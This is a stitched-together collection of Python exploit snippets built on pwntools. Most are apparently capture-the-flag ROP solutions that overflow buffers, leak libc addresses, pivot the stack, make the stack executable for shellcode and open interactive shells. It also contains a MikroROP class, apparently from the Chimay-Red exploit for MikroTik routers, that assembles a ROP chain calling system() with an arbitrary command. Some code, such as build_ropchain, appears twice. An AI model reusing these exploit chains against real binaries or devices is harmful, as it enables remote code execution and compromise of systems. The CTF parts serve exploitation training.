def __init__(self, binary: ELF, command=None): default_command = "/bin/touch /tmp/foobar-" + "".join( random.sample(string.ascii_letters, 5)) self._chain = None self._offsets = None self._command = command or default_command with context.local(): context.log_level = "WARNING" # Suppress ELF metadata print from pwntools if isinstance(binary, str): if os.path.isfile(binary): self.binary = binary = ELF(binary) if not isinstance(binary, ELF): self.binary = binary = ELF.from_bytes(b"\x90" * 262144, vma=0x8048000) self.rop = ROP([binary]) else: self.binary = binary context.binary = self.binary.path self.rop = ROP([binary]) context.arch = _bfdarch_patch() self.context = context self.build_offsets()
def setRegisters(elf, registers): from pwn import ROP rop = ROP(elf) for t in rop.setRegisters(registers): value = t[0] gadget = t[1] if type(gadget) == pwnlib.rop.gadgets.Gadget: rop.raw(gadget.address) for reg in gadget.regs: if reg in registers: rop.raw(registers[reg]) else: rop.raw(0) return rop
def make_binary(): # junk code generation write_junk_calls("main.c", 31, 2) write_junk_calls("main.c", 22) write_junk_body("main.c", 16) subprocess.call("make", stdout=FNULL, stderr=FNULL) # input correction elf = ELF("simple_rop_2") rop = ROP(elf) win1 = elf.symbols['win_function1'] win2 = elf.symbols['win_function2'] flag = elf.symbols['flag'] POP_ONCE = (rop.find_gadget(['pop rdi', 'ret']))[0] RET = (rop.find_gadget(['ret']))[0] padding = b'A' * 24 exploit = padding + p64(win1) + p64(win2) exploit += p64(POP_ONCE) + p64(0xABADBABE) + p64(RET) + p64(flag) # rop is saved as input f = open("input", "wb") f.write(exploit) f.close() # strip it after the ropchain building so they don't have the symbols but we do subprocess.call(["strip", "simple_rop_2"], stdout=FNULL, stderr=FNULL) # TESTING BINARY f = open("flag.txt", 'r') flag = f.readline() try: output = subprocess.check_output("./simple_rop_2 < input", shell=True, stderr=subprocess.STDOUT) except Exception as e: output = str(e.output) if not flag in output: return -1 else: return 0
def loadOffsets(binary, shellCmd): elf = ELF(binary) rop = ROP(elf) # www PLT symbols plt["strncpy"] = elf.plt['strncpy'] plt["dlsym"] = elf.plt['dlsym'] # Gadgets to clean the stack from arguments gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address gadgets['p'] = rop.search(regs=["ebp"]).address # Gadget to jump on the result of dlsym (address of system) gadgets['jeax'] = ropSearchJmp(elf, "jmp eax") system_chunks.extend(searchStringChunksLazy(elf, "system\x00")) cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00")) # get the address of the first writable segment to store strings writable_address = elf.writable_segments[0].header.p_paddr strings['system'] = writable_address strings['cmd'] = writable_address + 0xf
def main(): elf_name = '/problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47/rop' elf = ELF(elf_name) offset_buf_to_eip = 0x18 + 4 p = process(elf_name) rop_chain = ROP(elf) rop_chain.win_function1() rop_chain.win_function2(0xBAAAAAAD) rop_chain.flag(0xDEADBAAD) log.info(rop_chain.dump()) payload = 'A' * offset_buf_to_eip payload += str(rop_chain) assert ('\n' not in payload) p.sendlineafter('input> ', payload) print(p.recv(4096))
def build_payload() -> bytes: rop = ROP(BINARY_PATH) for binary_function in BINARY_FUNCTIONS: rop.call(binary_function) rop.raw(LAST_ROP_ADDRESS) payload = b'4\n' payload += b'A' * 120 payload += bytes(rop) + b'\n' return payload
#################### #### CONNECTION #### #################### LOCAL = False REMOTETTCP = True REMOTESSH = False GDB = False LOCAL_BIN = "./vuln" REMOTE_BIN = "~/vuln" #For ssh LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it if LOCAL: P = process(LOCAL_BIN) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN) # Extract data from binary ROP_LOADED = ROP(ELF_LOADED) # Find ROP gadgets elif REMOTETTCP: P = remote('10.10.10.10', 1339) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN) # Extract data from binary ROP_LOADED = ROP(ELF_LOADED) # Find ROP gadgets elif REMOTESSH: ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='******', port=2220) p = ssh_shell.process(REMOTE_BIN) # start the vuln binary elf = ELF(LOCAL_BIN) # Extract data from binary rop = ROP(elf) # Find ROP gadgets
class MikroROP(object): """ MikroROP class """ def __init__(self, binary: ELF, command=None): default_command = "/bin/touch /tmp/foobar-" + "".join( random.sample(string.ascii_letters, 5)) self._chain = None self._offsets = None self._command = command or default_command with context.local(): context.log_level = "WARNING" # Suppress ELF metadata print from pwntools if isinstance(binary, str): if os.path.isfile(binary): self.binary = binary = ELF(binary) if not isinstance(binary, ELF): self.binary = binary = ELF.from_bytes(b"\x90" * 262144, vma=0x8048000) self.rop = ROP([binary]) else: self.binary = binary context.binary = self.binary.path self.rop = ROP([binary]) context.arch = _bfdarch_patch() self.context = context self.build_offsets() def get_pthread_stacksize(self, lookahead=100) -> hex: """ :param lookahead: :return: """ thread_size = None address = self.binary.symbols[b"main"] disasm = self.binary.disasm(address, lookahead).split("\n") for num, line in zip(range(len(disasm)), disasm): if re.search(r"(e8 .* ff ff)", line): thread_attr = disasm[num - 2] if "push" in thread_attr: thread_size = thread_attr.partition("push")[-1].strip() break if not thread_size: return False return thread_size # TODO: Update mmips symbol fetching def get_plt_symbols(self, architecture: str) -> dict: plt_symbols = dict() try: if architecture is "x86" or "mips": for sym_name in (b"strncpy", b"dlsym"): plt_symbols[sym_name.decode()] = self.binary.plt[sym_name] except KeyError: log.critical( "Unkown error occured during fetching of symbols for " + architecture) raise return plt_symbols def generate_executable_segments(self) -> list: """ :return: """ executable_segments = list() for segment in self.binary.executable_segments: low = segment.header.p_vaddr high = segment.header.p_memsz + low if low or high: # if not ZERO executable_segments.append((low, high)) if not executable_segments: raise RuntimeError( "Could not locate any executable segments in binary") return executable_segments def generate_writeable_segments(self) -> list: """ :return: """ writeable_segments = list() for segment in self.binary.writable_segments: low = segment.header.p_vaddr high = segment.header.p_memsz + low if low or high: # if not ZERO writeable_segments.append((low, high)) if not writeable_segments: raise RuntimeError( "Could not locate any writeable segments in binary") return writeable_segments def generate_jmp_eax_gadget(self) -> int: """ :return: """ jmp_eax_re = re.compile(r"(.*jmp *eax)") for rx_segment_low, rx_segment_high in self.generate_executable_segments( ): for line in self.binary.disasm(rx_segment_low, rx_segment_high).split("\n"): if jmp_eax_re.search(line): return int(str(line.split(":")[0].strip()), 16) def generate_stackpivots(self, architecture): """ :param architecture: :return """ # TODO arch_pivots = { "x86": { "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]), "pivot2ret": self.rop.search(regs=["ebx", "ebp"]), "pivot1ret": self.rop.search(regs=["ebp"]) }, # "mips": { # "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]), # "pivot2ret": self.rop.search(regs=["ebx", "ebp"]), # "pivot1ret": self.rop.search(regs=["ebp"]) # }, # "arm": { # "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]), # "pivot2ret": self.rop.search(regs=["ebx", "ebp"]), # "pivot1ret": self.rop.search(regs=["ebp"]) # } } stackpivots = arch_pivots.get(architecture) if not stackpivots: return False return stackpivots def generate_string_chunks(self, query: str): """ :param query: :return: """ return [[ address for address in char ][0] for char in [self.binary.search(char) for char in query + "\x00"]] def generate_ascii_chunks(self): """ :return: """ ascii_chunks = dict() for char in string.printable + "\x00": ascii_chunks[char] = [ address for address in self.binary.search(char) ][0] or None return ascii_chunks def build_offsets(self): """ :return: """ offsets = { "size": self.binary.data.__len__(), "base": self.binary.address, "thread_size": self.get_pthread_stacksize(), "segments": { "executable_segments": self.generate_executable_segments(), "writeable_segments": self.generate_writeable_segments() }, "strings": { "ascii_chunks": self.generate_ascii_chunks(), "system": self.generate_writeable_segments()[1][0], "cmd": (self.generate_writeable_segments()[1][0] + (self.binary.bits >> 1)), }, "gadgets": { "jmp_eax": self.generate_jmp_eax_gadget(), "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]), "pivot2ret": self.rop.search(regs=["ebx", "ebp"]), "pivot1ret": self.rop.search(regs=["ebp"]), }, "plt": { "strncpy": self.get_plt_symbols(self.binary.arch)["strncpy"], "dlsym": self.get_plt_symbols(self.binary.arch)["dlsym"] } } self._offsets = namedtuple("offsets", sorted(offsets))(**offsets) return True def build_ropchain(self, offsets=None): """ Command Eg. "ls -la" system_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693] ("s", "y", "s", "t", "e", "m", "\x00") cmd_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693] ("l", "s", " ", "-", "l", "a", "\x00") Psuedocode: ----------------------------- char_size = 1 char_pointer = 0 for address in cmd_chunks: rop.call(<strncpy>, args=(<writeable_segment_addr> + char_pointer, address, char_size)) char_pointer += 1 |<<<< rop.call(<dlsym>, args=(0, "system")) | | eax = resultant pointer of dlsym() | |>>>> rop.call(<jmp eax>, args=(<command>)) ----------------------------- """ char_size = 1 cmd_chunks = list() system_chunks = list() if offsets: self._offsets = offsets for gadget_name, gadget in self.offsets.gadgets.items(): if "pivot" in gadget_name: self.binary.asm(gadget.address, "; ".join(gadget.insns)) self.binary.save("/tmp/chimay_red.elf") with context.local(): context.log_level = "WARNING" # Suppress ELF metadata print from pwntools self.rop = ROP([ELF("/tmp/chimay_red.elf")]) ascii_chunks = self.offsets.strings.get("ascii_chunks") if not ascii_chunks: log.critical("Offsets are currently not built!") for char in "system" + "\x00": if ascii_chunks.get(char): system_chunks.append(ascii_chunks[char]) else: log.critical( "Unable to locate enough readable characters in the binary to craft system chunks" ) for char in self.command + "\x00": if ascii_chunks.get(char): cmd_chunks.append(ascii_chunks[char]) else: log.critical( "Unable to locate enough readable characters in the binary to craft desired command" ) for length, address in zip(range(len(system_chunks)), system_chunks): self.rop.call(self.offsets.plt.get("strncpy"), [ self.offsets.strings.get("system") + length, address, char_size ]) # print("EXPLOIT STAGE 1 (SYSTEM CHUNKS): ", hexlify(self.rop.chain())) for length, address in zip(range(len(cmd_chunks)), cmd_chunks): self.rop.call( self.offsets.plt.get("strncpy"), [self.offsets.strings.get("cmd") + length, address, char_size]) # print("EXPLOIT STAGE 2 (CMD CHUNKS): ", hexlify(self.rop.chain())) self.rop.call(self.offsets.plt.get("dlsym"), [0, self.offsets.strings.get("system")]) # print("EXPLOIT STAGE 3 (SYSTEM CHUNKS): ", hexlify(self.rop.chain())) self.rop.call(self.offsets.gadgets.get("jmp_eax"), [self.offsets.strings.get("cmd")]) # print("EXPLOIT 4: ", hexlify(self.rop.chain())) self._chain = self.rop.chain() @property def command(self): """ The command property """ return self._command @command.setter def command(self, value): self._command = value @property def offsets(self): """ The offsets property """ return self._offsets @offsets.setter def offsets(self, value): self._offsets = value @property def chain(self): """ The ropchain property """ return self._chain @chain.setter def chain(self, value): self._chain = value
def build_ropchain(self, offsets=None): """ Command Eg. "ls -la" system_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693] ("s", "y", "s", "t", "e", "m", "\x00") cmd_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693] ("l", "s", " ", "-", "l", "a", "\x00") Psuedocode: ----------------------------- char_size = 1 char_pointer = 0 for address in cmd_chunks: rop.call(<strncpy>, args=(<writeable_segment_addr> + char_pointer, address, char_size)) char_pointer += 1 |<<<< rop.call(<dlsym>, args=(0, "system")) | | eax = resultant pointer of dlsym() | |>>>> rop.call(<jmp eax>, args=(<command>)) ----------------------------- """ char_size = 1 cmd_chunks = list() system_chunks = list() if offsets: self._offsets = offsets for gadget_name, gadget in self.offsets.gadgets.items(): if "pivot" in gadget_name: self.binary.asm(gadget.address, "; ".join(gadget.insns)) self.binary.save("/tmp/chimay_red.elf") with context.local(): context.log_level = "WARNING" # Suppress ELF metadata print from pwntools self.rop = ROP([ELF("/tmp/chimay_red.elf")]) ascii_chunks = self.offsets.strings.get("ascii_chunks") if not ascii_chunks: log.critical("Offsets are currently not built!") for char in "system" + "\x00": if ascii_chunks.get(char): system_chunks.append(ascii_chunks[char]) else: log.critical( "Unable to locate enough readable characters in the binary to craft system chunks" ) for char in self.command + "\x00": if ascii_chunks.get(char): cmd_chunks.append(ascii_chunks[char]) else: log.critical( "Unable to locate enough readable characters in the binary to craft desired command" ) for length, address in zip(range(len(system_chunks)), system_chunks): self.rop.call(self.offsets.plt.get("strncpy"), [ self.offsets.strings.get("system") + length, address, char_size ]) # print("EXPLOIT STAGE 1 (SYSTEM CHUNKS): ", hexlify(self.rop.chain())) for length, address in zip(range(len(cmd_chunks)), cmd_chunks): self.rop.call( self.offsets.plt.get("strncpy"), [self.offsets.strings.get("cmd") + length, address, char_size]) # print("EXPLOIT STAGE 2 (CMD CHUNKS): ", hexlify(self.rop.chain())) self.rop.call(self.offsets.plt.get("dlsym"), [0, self.offsets.strings.get("system")]) # print("EXPLOIT STAGE 3 (SYSTEM CHUNKS): ", hexlify(self.rop.chain())) self.rop.call(self.offsets.gadgets.get("jmp_eax"), [self.offsets.strings.get("cmd")]) # print("EXPLOIT 4: ", hexlify(self.rop.chain())) self._chain = self.rop.chain()
def exploit(self): elf = self.elf libc = self.libc libc.symbols['OneGadget'] = 0x41320 libc.symbols['/bin/sh'] = 0x001633e8 base_data = 0x80 # (gdb) x/xg 0x00601560 # 0x601560: 0x0000001500000064 Turtle_say_sel_id = 0x0000001500000064 with self.get_process(ld_linux=True) as self.p: # -- stage 1 --------------------------------------------------------------- ADDR_turtle = self.get_turtle_address() log.info('turtle : %s', hex(ADDR_turtle)) data = '%sEND' ADDR_data = ADDR_turtle + base_data rop_chain = ROP(elf) rop_chain.printf(ADDR_data, elf.got['setvbuf']) rop_chain.main() log.debug('ROP CHAIN: \n%s', rop_chain.dump()) payload = Attack.create_fake_turtle(ADDR_turtle, rop_chain.chain(), data, Turtle_say_sel_id) assert ('\n' not in payload) self.p.sendline(payload) if args.GDB: pause() leak = self.p.recvuntil('END', drop=True) ADDR_setvbuf = u64(leak.ljust(8, '\x00')) libc.address = ADDR_setvbuf - libc.symbols['setvbuf'] ADDR_bin_sh = libc.symbols['/bin/sh'] log.info('setvbuf : %s', hex(ADDR_setvbuf)) log.info('libc : %s', hex(libc.address)) log.info('/bin/sh : %s', hex(ADDR_bin_sh)) # -- stage 2 --------------------------------------------------------------- if args.GDB: pause() ADDR_turtle1 = self.get_turtle_address() log.info('turtle2 : %s', hex(ADDR_turtle1)) data = '/bin/sh\x00' ADDR_data = ADDR_turtle1 + base_data rop_chain2 = ROP(libc) rop_chain2.system(ADDR_bin_sh) log.debug('ROP CHAIN: \n%s', rop_chain2.dump()) payload = Attack.create_fake_turtle(ADDR_turtle1, rop_chain2.chain(), data, Turtle_say_sel_id) assert ('\n' not in payload) self.p.sendline(payload) self.p.sendline('ls -laF') self.p.sendline('cat flag*') self.p.interactive()
from pwn import process, ELF, ROP, packing, context, gdb context.log_level = 'critical' # enable/disable aslr: echo 2 | sudo tee /proc/sys/kernel/randomize_va_space, echo 0 | sudo tee /proc/sys/kernel/randomize_va_space e = ELF("pivot") l = ELF("libpivot.so") p = process(e.path) r = ROP(e) pid = gdb.attach(p) # opens a new shell for gdb debugging rop_addr = p.recvuntil("> ").split(b":")[1].split(b"\n")[0].lstrip().decode() print("pivot @: " + rop_addr) ''' pop rax; ret xchg rsp, rax; ret allows us to set the stack pointer to anything we want. exploit logic: 1) set stack pointer to 0x7ffff7be4f10 using xchg ---rop chain--- 2) call foothold_function - this updates its entry in the .got.plt table 3) alter .got.plt address of .got.plt to be the address of the ret2win function in libpivot: - pop rax - addr_of_plt_got_foothold_function - mov rax, qword ptr [rax] - pop rbp
def main(): elf = ExploitInfo.elf addr___libc_stack_end = elf.sym['__libc_stack_end'] addr___stack_prot = elf.sym['__stack_prot'] MEM_PROT_FLAG = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC POP_EAX_RET = 0x80b81c6 POP_EBX_RET = 0x80481c9 POP_ECX_RET = 0x80de955 POP_EDX_RET = 0x806f02a XOR_EAX_EAX_RET = 0x8049303 INC_EAX_RET = 0x807a86f MOV_DWORD_EDX_EAX_RET = 0x80549db POP_ESI_RET = 0x8048433 POP_EDI_RET = 0x8048480 INT_80 = 0x806cc25 PUSH_ESP_RET = 0x080b81d6 rop = ROP(elf) rop.raw(POP_EDX_RET) rop.raw(addr___stack_prot) # edx = &__stack_prot rop.raw(XOR_EAX_EAX_RET) for x in range(MEM_PROT_FLAG): # eax = MEM_PROT_FLAG rop.raw(INC_EAX_RET) rop.raw(MOV_DWORD_EDX_EAX_RET) # __stack_prot = MEM_PROT_FLAG rop.raw(POP_EAX_RET) # rop.raw(addr___libc_stack_end) # eax = &__libc_stack_end rop.call('_dl_make_stack_executable' ) # _dl_make_stack_executable(&__libc_stack_end) rop.raw(PUSH_ESP_RET) p = get_process() payload = 'A' * ExploitInfo.offset_eip payload += rop.chain() payload += ExploitInfo.shellcode_i386 assert ('\x00' not in payload) p.clean() log.info("Sending: %r", payload) p.sendline(payload) p.clean(timeout=0.5) p.clean(timeout=0.5) log.success("Here are your shell!") p.sendline('ls -la') p.interactive() p.close()